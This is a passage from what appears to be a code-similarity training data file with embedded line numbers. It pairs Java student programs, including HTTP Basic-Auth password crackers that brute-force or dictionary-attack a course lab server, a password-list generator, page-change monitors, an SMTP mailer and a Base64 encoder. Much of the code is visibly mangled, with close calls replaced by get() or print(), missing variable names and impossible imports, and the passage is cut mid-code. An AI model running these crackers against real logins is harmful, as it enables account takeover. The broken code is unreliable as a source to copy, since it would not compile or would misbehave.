javax.rmi.PortableRemoteObject;\n\448 import javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\449 \tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper()\450 \ {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\451 \t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\452 Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\453 \treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\454 \ throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\455 \n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"\456 /dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n"457 - "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\458 \npublic class BruteForce extends Thread\n{\n private static final String USERNAME\459 \ = \"\";\n private static final char [] POSSIBLE_CHAR =\n {'a', 'b',\460 \ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n 'n', 'o', 'p',\461 \ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n 'A', 'B', 'C', 'D',\462 \ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R',\463 \ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n private static int NUMBER_OF_THREAD\464 \ = 500;\n\n private static Date startDate = null;\n private static Date endDate\465 \ = null;\n\n private String address;\n private String password;\n\n public\466 \ BruteForce(String address, String password)\n {\n this.address = address;\n\467 \ this.password = password;\n }\n\n public static void main(String[]\468 \ args) throws IOException\n {\n if (args.length < 1)\n {\n \469 \ System.err.println(\"Invalid usage!\");\n System.err.println(\"Usage:\470 \ java BruteForce <url>\");\n System.exit(1);\n }\n\n try\n\471 \ {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n\472 \ {\n e.printStackTrace();\n System.exit(1);\n }\n \473 \ }\n\n public static void brute(String address, String user)\n {\n \474 \ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index =\475 \ 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length;\476 \ i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n \477 \ {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n \478 \ {\n String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\479 \ POSSIBLE_CHAR[k];\n\n if (threads[index]\480 \ != null && threads[index].isAlive())\n {\n try\n\481 \ {\n threads[index].join();\n \482 \ }\n catch(InterruptedException e ) {}\n \483 \ }\n threads[index] = new BruteForce(address, password);\n \484 \ threads[index].get();\n\n index = (index++) % threads.length;\n\485 \ }\n }\n }\n }\n\n public void run()\n {\n \486 \ if (endDate != null)\n return;\n\n try\n {\n\n URLConnection\487 \ conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\488 \n if (login(conn, USERNAME, password))\n {\n endDate\489 \ = new Date();\n System.out.println(\"Found the password: \\\"\"+password+\"\490 \\\"!\");\n SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\491 \ HH:mm:\");\n System.out.println(\"Process started at: \"+format.format(startDate));\n\492 \ System.out.println(\"Process started at: \"+format.format(endDate));\n\493 \ double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\494 \ System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n \495 \ System.exit(0);\n }\n else\n {\n \496 \ System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n \497 \ return;\n }\n }\n catch(Exception e)\n {\n \498 \ e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection\499 \ conn, String user, String pass)\n {\n try\n {\n String encodeAuth\500 \ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n conn.setRequestProperty\501 \ (\"Authorization\", encodeAuth);\n conn.connect();\n conn.getInputStream();\n\502 \ }\n catch(Exception e)\n {\n return false;\n }\n\503 \ return true;\n }\n}\n\n\n"504 - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n\505 {\n private PrintWriter outputStream= null;\n private String filename;\n \506 \ private FileWriter fw;\n\n public storeNewFile(String fname)\n {\n \507 \ try\n {\n filename = fname;\n outputStream=new PrintWriter(new\508 \ FileOutputStream(filename));\n }\n catch(FileNotFoundException e)\n\509 \ {\n\t System.err.println(\"File \"+filename+\" was not found\");\n \510 \ }\n catch(IOException e)\n {\n System.err.println(\"Error\511 \ \");\n }\n }\n public void getStringW(StringWriter sw)\n {\n \512 \ outputStream.print(sw.toString());\n }\n\n public void closeStream()\n \513 \ {\n outputStream.write();\n }\n\n public void translogFile(String\514 \ result)\n {\n String fileName = \"TransactionLog.txt\";\n \t try{\n\t\515 \ fw=new FileWriter(fileName,true);\n\t fw.write(result);\n\t fw.write('\\\516 n');\n\t fw.print();\n \t System.out.println(\"Saved sucessfully\");\n\517 \ }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\"\518 );\n }\n }\n}"519- source_sentence: "import java.net.*; \nimport java.io.*; \nimport java.util.Vector;\n\520 import java.util.Date;\nimport java.security.*;\n\n\n\n\n\n\n\n\n\n\n\n \npublic\521 \ class Dictionary { \n public static BufferedReader in;\n \n \n public static\522 \ void main(String[] args) throws Exception { \n String baseURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\523 ; \n int count=0;\n Date date = new Date();\n startTime=date.getTime();\n\524 \ int LIMITINMINUTES=45;\n int TIMELIMIT=LIMITINMINUTES*1000*60;\n boolean\525 \ timedOut=false;\n boolean found=false;\n \n \n Vector dictionary=new\526 \ Vector(readWords());\n System.out.println(\"Words in dictionary: \"+dictionary.size());\n\527 \ \n \n \n \n \n \n \n while (found==false && timedOut==false\528 \ && dictionary.elementAt(count)!=null) {\n \n Date endDate = new Date();\n\529 \ endTime=endDate.getTime(); \n if (endTime>(TIMELIMIT+startTime)){\n\530 \ System.out.println(\"Timed out\");\n timedOut=true;\n }\n\531 \ \n String password = \"\";\n\n \n URL url = new URL(baseURL);\532 \ \n String username=\"\";\n password = dictionary.elementAt(count).toString();\533 \ \n\n \n String authString = username+\":\"+password;\n String\534 \ encoding = new misc.BASE64Encoder().encode(authString.getBytes()); \n System.out.print(\"\535 authString is: \"+authString); \n \n URLConnection urlConnect=url.openConnection();\n\536 \n \n urlConnect.setRequestProperty(\"Authorization\",\" \"+encoding);\n\537 \n String responseCode = urlConnect.getHeaderField(0);\n System.out.print(\"\538 \ Response is: \");\n System.out.println(responseCode);\n\n if (!responseCode.equals(\"\539 HTTP/1.1 401 Authorization Required\")) {\n found=true;\n } \540 \ \n if (found){ \n \n System.out.println(\"Password is: \"\541 +password);\n\n }\n\n Date foundDate = new Date();\n foundTime=foundDate.getTime();\542 \ \n foundTime=(foundTime-startTime);\n System.out.println(\"Time taken\543 \ was : \"+foundTime+\" milliseconds\"); \n count=count+1;\n }\n } \n\544 \ \n \n \n \n \n public static Vector readWords() { \n String nextWord;\n\545 \ String lastWord=\"\";\n Vector dict=new Vector();\n try {\n BufferedReader\546 \ in = new BufferedReader(new FileReader(\"words.txt\"));\n while ((nextWord\547 \ = in.readLine())!=null) {\n\t\n if (nextWord.length()>3) {\n \548 \ nextWord=nextWord.substring(0,3);\n }\n\t\n\tif (!lastWord.equals(nextWord)\549 \ && nextWord.length()>0){\n lastWord = nextWord;\n\t \n\t \n\t dict.addElement(nextWord);\n\550 \n\t \n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t \n\t \n\t \n\t\551 \ \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t \n\t \n\t \n\n\t \n\552 \t \n\t \n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \553 \ \n\n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t\554 \ \n\t\n\t} \n } \n System.out.println(\"File successfully loaded\"\555 );\t \n } \n catch (FileNotFoundException e1) {\n System.out.println(\"\556 This program requires a dictionary of words called words.txt in the same directory\557 \ as the program running, now exiting.\");\n System.exit(0);\n }\t\n \558 \ catch (IOException e2) {\n System.out.println(\"IO Exception, exiting\"\559 );\n System.exit(0);\n }\t \n finally {\n try {\n\tif (null!=in)\560 \ {\n in.get();\n\t}\n }\n catch (IOException e3) {}\n }\n\561 \ return dict;\n } \n} \n"562 sentences:563 - "package java.httputils;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\n\564 import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\n\565 import java.io.FileOutputStream;\nimport java.io.FileReader;\nimport java.io.IOException;\n\566 import java.io.OutputStream;\n\n\npublic class WatchDog\n{\n protected final\567 \ int MILLIS_IN_HOUR = (60 * 60 * 1000);\n protected int interval = 24;\n \568 \ protected String URL = \"http://www.cs.rmit.edu./students/\";\n protected\569 \ String fileName = \"WatchDogContent.html\";\n protected String command =\570 \ \"./alert_mail.sh\";\n protected String savedContent;\n protected String\571 \ retrievedContent;\n\n \n public WatchDog()\n {\n super();\n\572 \ }\n\n \n public void run() throws Exception\n {\n HttpRequestClient\573 \ client = null;\n \n \n System.out.println(getClass().getName()\574 \ +\n \"Retrieving baseline copy of: \" + getURL());\n\575 \ client = new HttpRequestClient(getURL());\n retrievedContent =\576 \ client.getContent().toString();\n\n System.out.println(getClass().getName()\577 \ +\n \"Writing baseline content : \" + getFileName());\n\578 \ writeFile();\n\n while (true)\n {\n \n \579 \ System.out.println(getClass().getName() +\n \580 \ \" Sleeping for hours: \" + getInterval());\n Thread.currentThread().sleep(MILLIS_IN_HOUR\581 \ * getInterval());\n\n \n System.out.println(getClass().getName()\582 \ +\n \" Retrieving: \" + getURL());\n\n \583 \ client = new HttpRequestClient(getURL());\n retrievedContent = client.getContent().toString();\n\584 \n \n System.out.println(getClass().getName() +\n \585 \ \" saved copy: \" + getURL());\n savedContent\586 \ = readFile();\n\n \n System.out.println(getClass().getName()\587 \ +\n \" Comparing saved and retrieved. \");\n \588 \ if (!savedContent.equals(retrievedContent))\n {\n \589 \ \n System.out.println(getClass().getName() +\n \590 \ \" Difference found. \");\n\n writeTempFile();\n\591 \ runCommand();\n }\n\n \n writeFile();\n\592 \ }\n }\n\n\n \n public String runCommand()\n {\n String\593 \ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n try\n \594 \ {\n Runtime r = Runtime.getRuntime();\n System.out.println(getClass().getName()\595 \ +\n \" Executing: \" + cmd);\n\n Process proc = r.exec(cmd);\n\596 \ }\n catch (Exception e)\n {\n try\n \597 \ {\n Runtime r = Runtime.getRuntime();\n Process\598 \ proc = r.exec(cmd);\n }\n catch (Exception ex)\n \599 \ {\n System.out.println(getClass().getName()\n \600 \ + \" Could not run :\"\n + getCommand()\n \601 \ + \" because : \"\n + ex.getMessage());\n \602 \ }\n }\n\n return \"Executed successfully\";\n }\n\603 \n \n protected String readFile() throws FileNotFoundException\n {\n\604 \ BufferedInputStream input = null;\n FileInputStream file = null;\n\605 \ StringBuffer content = new StringBuffer();\n try\n {\n\606 \ file = new FileInputStream(getFileName());\n \n \607 \ input = new BufferedInputStream(file);\n \n }\n \608 \ catch (FileNotFoundException x)\n {\n System.err.println(\"\609 File not found: \" + getFileName());\n throw x;\n }\n\n \610 \ try\n {\n int ch;\n while ((ch = input.get())\611 \ != -1)\n {\n content.append((char)ch);\n \612 \ }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n\613 \ }\n finally\n {\n if (input != null)\n \614 \ {\n try\n {\n input.get();\n\615 \ file.get();\n }\n catch (IOException\616 \ e)\n {\n }\n }\n }\n \617 \ return content.toString();\n }\n\n \n protected void writeFile() throws\618 \ Exception\n {\n OutputStream os = null;\n try\n {\n\619 \ os = new BufferedOutputStream(\n new FileOutputStream(getFileName(),\620 \ false));\n os.write(getRetrievedContent().getBytes());\n }\n\621 \ catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\622 \ throw e;\n }\n catch (IOException e)\n {\n \623 \ e.printStackTrace();\n throw e;\n }\n finally\n\624 \ {\n if (os != null)\n {\n try\n\625 \ {\n os.close();\n }\n \626 \ catch (IOException e)\n {\n }\n \627 \ }\n }\n }\n\n \n protected void writeTempFile() throws\628 \ Exception\n {\n OutputStream os = null;\n try\n {\n\629 \ os = new BufferedOutputStream(\n new FileOutputStream(\"\630 .html\", false));\n os.write(getRetrievedContent().getBytes());\n \631 \ }\n catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\632 \ throw e;\n }\n catch (IOException e)\n {\n \633 \ e.printStackTrace();\n throw e;\n }\n finally\n\634 \ {\n if (os != null)\n {\n try\n\635 \ {\n os.close();\n }\n \636 \ catch (IOException e)\n {\n }\n \637 \ }\n }\n }\n\n public static void main(String[] args)\n \638 \ {\n WatchDog watchDog = new WatchDog();\n\n if (args.length\639 \ < 3)\n {\n watchDog.printUsage();\n }\n\n \n\640 \ System.out.println(watchDog.getClass().getName() +\n \641 \ \": Initialising with \" +\n args[0] + \" \\n\"\642 \ +\n args[1] + \" \\n\" +\n args[2]\643 \ + \" \\n\");\n watchDog.setURL(args[0]);\n watchDog.setInterval(Integer.parseInt(args[1]));\n\644 \ watchDog.setCommand(args[2]);\n\n \n try\n {\n \645 \ System.out.println(watchDog.getClass().getName() + \": Invoking the\646 \ run method.\");\n watchDog.run();\n }\n catch (Exception\647 \ e)\n {\n e.printStackTrace();\n }\n }\n\n public\648 \ String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n\649 \ s.append(\"** WatchDog proper usage **\\n\\n\");\n s.append(\n\650 \ this.getClass().getName() +\n \" <URL> <interval> <Command\651 \ execute>\\n\\n\");\n\n return s.toString();\n }\n\n \n public\652 \ String getCommand()\n {\n return command;\n }\n\n \n public\653 \ String getFileName()\n {\n return fileName;\n }\n\n \n public\654 \ int getInterval()\n {\n return interval;\n }\n\n \n public\655 \ String getURL()\n {\n return URL;\n }\n\n \n public void\656 \ setCommand(String string)\n {\n command = string;\n }\n\n \n\657 \ public void setFileName(String string)\n {\n fileName = string;\n\658 \ }\n\n \n public void setInterval(int i)\n {\n interval =\659 \ i;\n }\n\n \n public void setURL(String string)\n {\n URL\660 \ = string;\n }\n\n \n public String getRetrievedContent()\n {\n \661 \ return retrievedContent;\n }\n\n \n public String getSavedContent()\n\662 \ {\n return savedContent;\n }\n\n \n public void setRetrievedContent(String\663 \ string)\n {\n retrievedContent = string;\n }\n\n \n public\664 \ void setSavedContent(String string)\n {\n savedContent = string;\n\665 \ }\n\n}\n"666 - "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.Date;\n\npublic\667 \ class MyMail implements Serializable\n{\n\t\n\n\t\n\tpublic static final int\668 \ SMTPPort = 25;\n\n\t\n\tpublic static final char successPrefix = '2';\n\n\t\n\669 \tpublic static final char morePrefix = '3';\n\n\t\n\tpublic static final char\670 \ failurePrefix = '4';\n\n\t\n\n\t\n\tprivate static final String CRLF = \"\\\671 r\\n\";\n\n\t\n\tprivate String mailFrom = \"\";\n\n\t\n\tprivate String mailTo\672 \ = \"\";\n\n\t\n\tprivate String messageSubject = \"\";\n\n\t\n\tprivate String\673 \ messageBody = \"\";\n\n\t\n\tprivate String mailServer = \"\";\n\n\t\n\tpublic\674 \ MyMail ()\n\t{\n\t\t\n\t\tsuper();\n\t}\n\n\t\n\tpublic MyMail ( String serverName)\n\675 \t{\n\t\t\n\t\tsuper();\n\n\t\t\n\t\tmailServer = serverName;\n\t}\n\n\t\n\tpublic\676 \ String getFrom()\n\t{\n\t\treturn mailFrom;\n\t}\n\n\t\n\tpublic String getTo()\n\677 \t{\n\t\treturn mailTo;\n\t}\n\n\t\n\tpublic String getSubject()\n\t{\n\t\treturn\678 \ messageSubject;\n\t}\n\n\t\n\tpublic String getMessage()\n\t{\n\t\treturn messageBody;\n\679 \t}\n\n\t\n\tpublic String getMailServer()\n\t{\n\t\treturn mailServer;\n\t}\n\680 \n\t\n\tpublic void setFrom( String from )\n\t{\n\t\t\n\t\tmailFrom = from;\n\t\681 }\n\n\t\n\tpublic void setTo ( String To )\n\t{\n\t\t\n\t\tmailTo = To;\n\t}\n\682 \n\t\n\tpublic void setSubject ( String subject )\n\t{\n\t\t\n\t\tmessageSubject\683 \ = subject;\n\t}\n\n\t\n\tpublic void setMessage ( String msg )\n\t{\n\t\t\n\t\684 \tmessageBody = msg;\n\t}\n\n\t\n\tpublic void setMailServer ( String server )\n\685 \t{\n\t\t\n\t\tmailServer = server;\n\t}\n\n\t\n\tprivate boolean responseValid(\686 \ String response )\n\t{\n\t\t\n\n\t\t\n\t\tif (response.indexOf(\" \") == -1)\n\687 \t\t\t\n\t\t\treturn false;\n\n\t\t\n\t\tString cad = response.substring( 0, response.indexOf(\"\688 \ \"));\n\n\t\t\n\t\tcad = cad.toUpperCase();\n\n\t\t\n\t\tif (( cad.charAt(0)\689 \ == successPrefix ) ||\n\t\t ( cad.charAt(0) == morePrefix ) )\n\t\t\t\n\t\690 \t\t\treturn true;\n\t\t\telse\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t}\n\n\t\n\691 \tpublic void sendMail()\n\t{\n\t\ttry {\n\t\tString response;\n\n\t\t\n\t\tSocket\692 \ mailSock = new Socket (mailServer, SMTPPort);\n\n\t\t\n\t\tBufferedReader bf\693 \ = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));\n\t\694 \tPrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));\n\695 \n\t\t\n\t\tSystem.out.println(\"1\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\696 \t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" +\697 \ response);\n\n\t\t\n\t\ttry\n\t\t{\n\t\t\tInetAddress addr = InetAddress.getLocalHost();\n\698 \n\t\t\tString localHostname = addr.getHostName();\n\t\t\t\n\t\t\tpout.print (\"\699 HELO \" + localHostname + CRLF);\n\t\t}\n\t\tcatch (UnknownHostException uhe)\n\700 \t\t{\n\t\t\t\n\t\t\tpout.print (\"HELO myhostname\" + CRLF);\n\t\t}\n\n\t\t\n\701 \t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"2\");\n\t\tresponse = bf.readLine();\n\702 \n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\703 \ - \" + response);\n\n\t\t\n\t\tpout.println (\"MAIL From:<\" + mailFrom + \"\704 >\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"3\");\n\t\t\705 response = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\t\706 throw new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"RCPT\707 \ :<\" + mailTo + \">\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"\708 4\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response)\709 \ )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println\710 \ (\"DATA\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"5\"\711 );\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\712 \t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\t\n\t\tpout.println\713 \ (\"From: \" + mailFrom);\n\t\tpout.println (\": \" + mailTo);\n\t\tpout.println\714 \ (\"Subject: \" + messageSubject);\n\n\t\t\n\t\tpout.println ();\n\n\t\t\n\t\t\715 pout.println (messageBody);\n\n\t\t\n\t\tpout.println (\".\\n\\r\");\n\n\t\t\n\716 \t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"6\");\n\t\tresponse = bf.readLine();\n\717 \n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\718 \ - \" + response);\n\n\t\t\n\t\tpout.println (\"QUIT\");\n\n\t\t\n\t\tpout.flush();\n\719 \n\t\t\n\t\tmailSock.close();\n\t\t}\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\720 \tSystem.out.println(ioe.getMessage());\n\t\t}\n\t}\n\n}"721 - "\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\npublic class WatchDog\n\722 {\n private Vector init;\n public WatchDog()\n {\n try\n {\n \723 \ Runtime run = Runtime.getRuntime();\n String command_line = \"lynx\724 \ http://www.cs.rmit.edu./students/ -dump\";\n Process result = run.exec(command_line);\n\725 \ BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\726 \ String inputLine;\n init = new Vector();\n while ((inputLine\727 \ = in.readLine()) != null)\n {\n init.addElement(inputLine);\n \728 \ }\n \n }catch(Exception e)\n {\n }\n }\n public static\729 \ void main(String args[])\n {\n WatchDog wd = new WatchDog();\n wd.nextRead();\n\730 \ }\n\n public void nextRead()\n {\n while(true)\n {\n ScheduleTask\731 \ sch = new ScheduleTask(init);\n if(sch.getFlag()!=0)\n {\n \732 \ System.out.println(\"change happen\");\n WatchDog wd = new WatchDog();\n\733 \ wd.nextRead();\n }\n \n }\n }\n}"734- source_sentence: "import java.*;\nimport java.io.*;\npublic class C\n{\n public\735 \ static void main (String [] args){\n try{\n \n int m=0,n=0,w=0;\n\736 \ String file = \"passwd.\";\n char ch1='A',ch2='A',ch3='A';\n \737 \ for(int i = 0 ; i < 26; i++ )\n {\n for(w=0;w<2;w++)\n\738 \ {\n if (w==1)\n i+=32;\n for(int j =\739 \ 0; j< 26 ; j++)\n {\n for(n=0;n<2;n++)\n {\n\740 \ if(n==1)\n j+=32;\n for(int k = 0; k<26\741 \ ; k++)\n {\n for(m=0; m<2; m++)\n \742 \ {\n if(m==1)\n k+=32;\n \743 \ char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n \744 \ String str = new String(data);\n System.out.println(str);\n\745 \ FileWriter fr1 = new FileWriter(file,true);\n \746 \ BufferedWriter in1 = new BufferedWriter(fr1);\n in1.write(str);\n\747 \ in1.newLine();\n in1.print();\n \748 \ if (k>=31)\n k-=32;\n \749 \ }\n }\n if(j>=31)\n j=j-32;\n \750 \ }\n }\n if(i>=31)\n i-=32;\n \751 \ }\n }\n}\ncatch(IOException e)\n{\n System.out.println(\"try\"\752 );\n}\n}\n}\n"753 sentences:754 - "\n\npublic class Base64 {\n\n\tfinal static String baseTable = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\755 ;\n\n\t\n\tpublic static String encode(byte[] bytes) {\n\n\t\tString tmp = \"\"\756 ;\n\t\tint i = 0;\n\t\tbyte pos; \n\n\t\tfor(i=0; i < (bytes.length - bytes.length%3);\757 \ i+=3) {\n\n\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\ttmp = tmp + baseTable.charAt(pos);\758 \ \n\n\t\t\tpos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); \n\759 \t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\t\t\n\t\t\tpos = (byte) (((bytes[i+1]\760 \ & 15) << 2) + ((bytes[i+2] >> 6) & 3));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\761 \t\t\n\t\t\tpos = (byte) (((bytes[i+2]) & 63));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\762 \t\t\n\t\t\t\n\t\t\t\n\t\t\tif(((i+2)%56) == 0) {\n\t\t\t\ttmp = tmp + \"\\r\\\763 n\";\n\t\t\t}\n\t\t}\n\n\t\tif(bytes.length % 3 != 0) {\n\n\t\t\tif(bytes.length\764 \ % 3 == 2) {\n\n\t\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\t\ttmp =\765 \ tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte) (((bytes[i] & 3) << 4)\766 \ + ((bytes[i+1] >> 4) & 15)); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\767 \t\t\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i+1] & 15) << 2);\n\t\t\t\ttmp = tmp\768 \ + baseTable.charAt(pos);\n\t\t\t\n\t\t\t\ttmp = tmp + \"=\";\n\n\t\t\t} else\769 \ if(bytes.length % 3 == 1) {\n\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i] >> 2)\770 \ & 63); \n\t\t\t\ttmp = tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte)\771 \ ((bytes[i] & 3) << 4); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\772 \t\t\t\n\t\t\t\ttmp = tmp + \"==\";\n\t\t\t}\n\t\t}\n\t\treturn tmp;\n\n\t}\n\n\773 \t\n\tpublic static String encode(String src) {\n\t\t\n\t\treturn encode(src.getBytes());\t\774 \n\t}\n\n\tpublic static byte[] decode(String src) throws Exception {\n\n\t\t\775 byte[] bytes = null;\n\n\t\tStringBuffer buf = new StringBuffer(src);\n\n\t\t\n\776 \t\tint i = 0;\n\t\tchar c = ' ';\n\t\tchar oc = ' ';\n\t\twhile( i < buf.length())\777 \ {\t\t\t\n\t\t\toc = c; \n\t\t\tc = buf.charAt(i);\n\t\t\tif( oc == '\\r' &&\778 \ c == '\\n') {\n\t\t\t\tbuf.deleteCharAt(i);\n\t\t\t\tbuf.deleteCharAt(i-1);\n\779 \t\t\t\ti -= 2;\n\t\t\t} else if( c == '\\t') {\n\t\t\t\tbuf.deleteCharAt(i);\n\780 \t\t\t\ti --;\n\t\t\t} else if( c == ' ') {\n\t\t\t\ti --;\n\t\t\t}\n\t\t\ti++;\n\781 \t\t}\n\n\t\t\n\t\tif(buf.length() % 4 != 0) {\n\t\t\tthrow new Exception(\"Base64\782 \ decoding invalid length\");\n\t\t}\n\n\t\t\n\t\tbytes = new byte[3 * (buf.length()\783 \ / 4)];\n\t\t\n\t\t\n\t\tint index = 0;\n\t\t\n\t\t\n\t\tfor(i = 0; i < buf.length();\784 \ i+=4) {\n\n\t\t\tbyte data = 0;\n\t\t\tint nGroup = 0;\n\n\t\t\tfor(int j =\785 \ 0; j < 4; j++) {\n\n\t\t\t\tchar theChar = buf.charAt(i + j); \n\n\t\t\t\tif(theChar\786 \ == '=') {\n\t\t\t\t\tdata = 0;\n\t\t\t\t} else {\n\t\t\t\t\tdata = getBaseTableIndex(theChar);\787 \ \n\t\t\t\t}\n\n\t\t\t\tif(data == -1) {\n\t\t\t\t\tthrow new Exception(\"Base64\788 \ decoding bad character\");\n\t\t\t\t}\n\n\t\t\t\tnGroup = 64*nGroup + data;\n\789 \t\t\t}\n\n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 16));\n\t\t\tindex ++;\n\790 \n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 8));\n\t\t\tindex ++;\n\n\t\t\t\791 bytes[index] = (byte) (255 & (nGroup));\n\t\t\tindex ++;\n\t\t}\n\t\t\n\t\tbyte[]\792 \ newBytes = new byte[index];\n\t\tfor(i = 0; i < index; i++) {\n\t\t\tnewBytes[i]\793 \ = bytes[i];\n\t\t}\n\n\t\treturn newBytes;\n\t}\n\n\t\n\tprotected static byte\794 \ getBaseTableIndex(char c) {\n\t\t\n\t\tbyte index = -1;\n\n\t\tfor(byte i =\795 \ 0; i < baseTable.length(); i ++) {\n\t\t\n\t\t\tif(baseTable.charAt(i) == c)\796 \ {\n\t\t\t\tindex = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn index;\n\797 \t}\n}"798 - "\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\n\799 public class BruteForce\n{\n public BruteForce()\n {}\n\n public boolean fetchURL(String\800 \ urlString,String username,String password)\n {\n StringWriter = new StringWriter();\n\801 \ PrintWriter pw = new PrintWriter();\n try{\n URL url=new URL(urlString);\802 \ \n String userPwd= username+\":\"+password;\n\n \n \n \803 \ \n \n\n BASE64Encoder encoder = new BASE64Encoder();\n \804 \ String encodedStr = encoder.encode (userPwd.getBytes());\n System.out.println(\"\805 Original String = \" + userPwd);\n\t System.out.println(\"Encoded String = \"\806 \ + encodedStr);\n\n HttpURLConnection huc=(HttpURLConnection) url.openConnection();\807 \ \n huc.setRequestProperty( \"Authorization\",\" \"+encodedStr); \n\808 \ InputStream content = (InputStream)huc.getInputStream();\n BufferedReader\809 \ in = \n new BufferedReader (new InputStreamReader (content));\n \810 \ String line;\n while ((line = in.readLine()) != null) {\n pw.println\811 \ (line);\n System.out.println(\"*************************************************\"\812 );\n System.out.println(sw.toString());\n }return true;\n } catch\813 \ (MalformedURLException e) {\n pw.println (\"Invalid URL\");\n return\814 \ false;\n } catch (IOException e) {\n pw.println (\"Error URL\");\n\815 \ return false;\n }\n\n }\n\n public void getPassword()\n { \n \816 \ String alps=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n \817 \ String urlString=\"http://sec-crack.cs.rmit.edu./SEC/2/\";\n String login=\"\818 \";\n String pwd=\" \";\n\n startTime=System.currentTimeMillis();\n \819 \ for(int oneChar=0;oneChar<alps.length();oneChar++)\n {\n pwd=alps.substring(oneChar,oneChar+1);\n\820 \ if(this.fetchURL(urlString,login,pwd))\n {\n finishTime=System.currentTimeMillis();\n\821 \ System.out.println(\"Finally I gotta it, password is : \"+pwd);\n\822 \ System.out.println(\"The time for cracking password is: 